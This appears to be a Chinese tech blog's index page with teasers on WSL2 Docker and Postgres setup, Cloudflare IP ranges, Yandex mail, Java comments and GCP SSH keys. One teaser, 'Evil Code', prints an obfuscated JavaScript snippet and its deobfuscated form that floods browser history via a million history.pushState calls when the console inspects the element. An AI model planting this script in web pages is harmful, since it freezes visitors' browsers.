WSL2(Ubuntu)安装Docker

WSL2增加了对docker的支持以后大半年,我准备尝试在WSL2上安装docker,但是踩了无数的坑,这里记录一下,避免大家再有我这样的悲惨遭遇

Read More

WSL2(Ubuntu)安装Postgres

自从微软更新了WSL2以后,似乎Windows有望成为linux第一桌面版,这次来试一下在WSL里面装Postgres

Read More

CF全球节点

103.22.200.0/22#对电信最友好
162.159.36.6#对联通最友好
104.16.0.0/12#对移动最友好
我已解析好的cname地址:ip.s.s1-cdn.me

Read More

Yandex的域名邮箱

  1. 注册验证码变态

根据ZKK博客的教程详细记录走一遍会碰到第一个难点。好处是不用手机就能注册,问题在于验证码极其的变态。我大概输入了几十次。才成功注册下来了一个域名邮箱

Read More

Evil Code

1
2
3
<script>
eval(function(d,f,a,c,b,e){b=function(a){return a.toString(f)};if(!"".replace(/^/,String)){for(;a--;)e[b(a)]=c[a]||b(a);c=[function(a){return e[a]}];b=function(){return"\\w+"};a=1}for(;a--;)c[a]&&(d=d.replace(new RegExp("\\b"+b(a)+"\\b","g"),c[a]));return d}("1 2=c.3('8');4.b(2,'5',{6:7(){1 a=\"\";9(1 i=0;i<d;i++){a=a+i.e();f.g(0,0,a)}}});h.j(2);",20,20," var x createElement Object id get function div for defineProperty document 1000000 toString history pushState console log".split(" "),0,{}));
</script>

混淆过后的,会疯狂写入历史数据,混淆前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
'use strict';
/** [url=home.php?mod=space&uid=26679]@Type[/url] {!Element} */
var x = document.createElement("div");
Object.defineProperty(x, "id", {
get : function() {
/** @type {string} */
var definitionLineHash = "";
/** @type {number} */
var default_favicon = 0;
for (; default_favicon < 1000000; default_favicon++) {
/** @type {string} */
definitionLineHash = definitionLineHash + default_favicon.toString();
history.pushState(0, 0, definitionLineHash);
}
}
});
console.log(x);

Java 注释中一个隐藏的坑

Java中注释的内容并不是完全无效的,当遇到一些特殊的Unicode的时候是会对Unicode转义的,这就带来了一些问题,比如:

Read More

用ssh key秘钥登录GCP

  1. 首先准备公钥,私钥,用mobaxterm或者bitivise ssh或者putty生成一对秘钥,SSH工具推荐度从前到后
Read More
You need to set client_id and slot_id to show this AD unit. Please set it in _config.yml.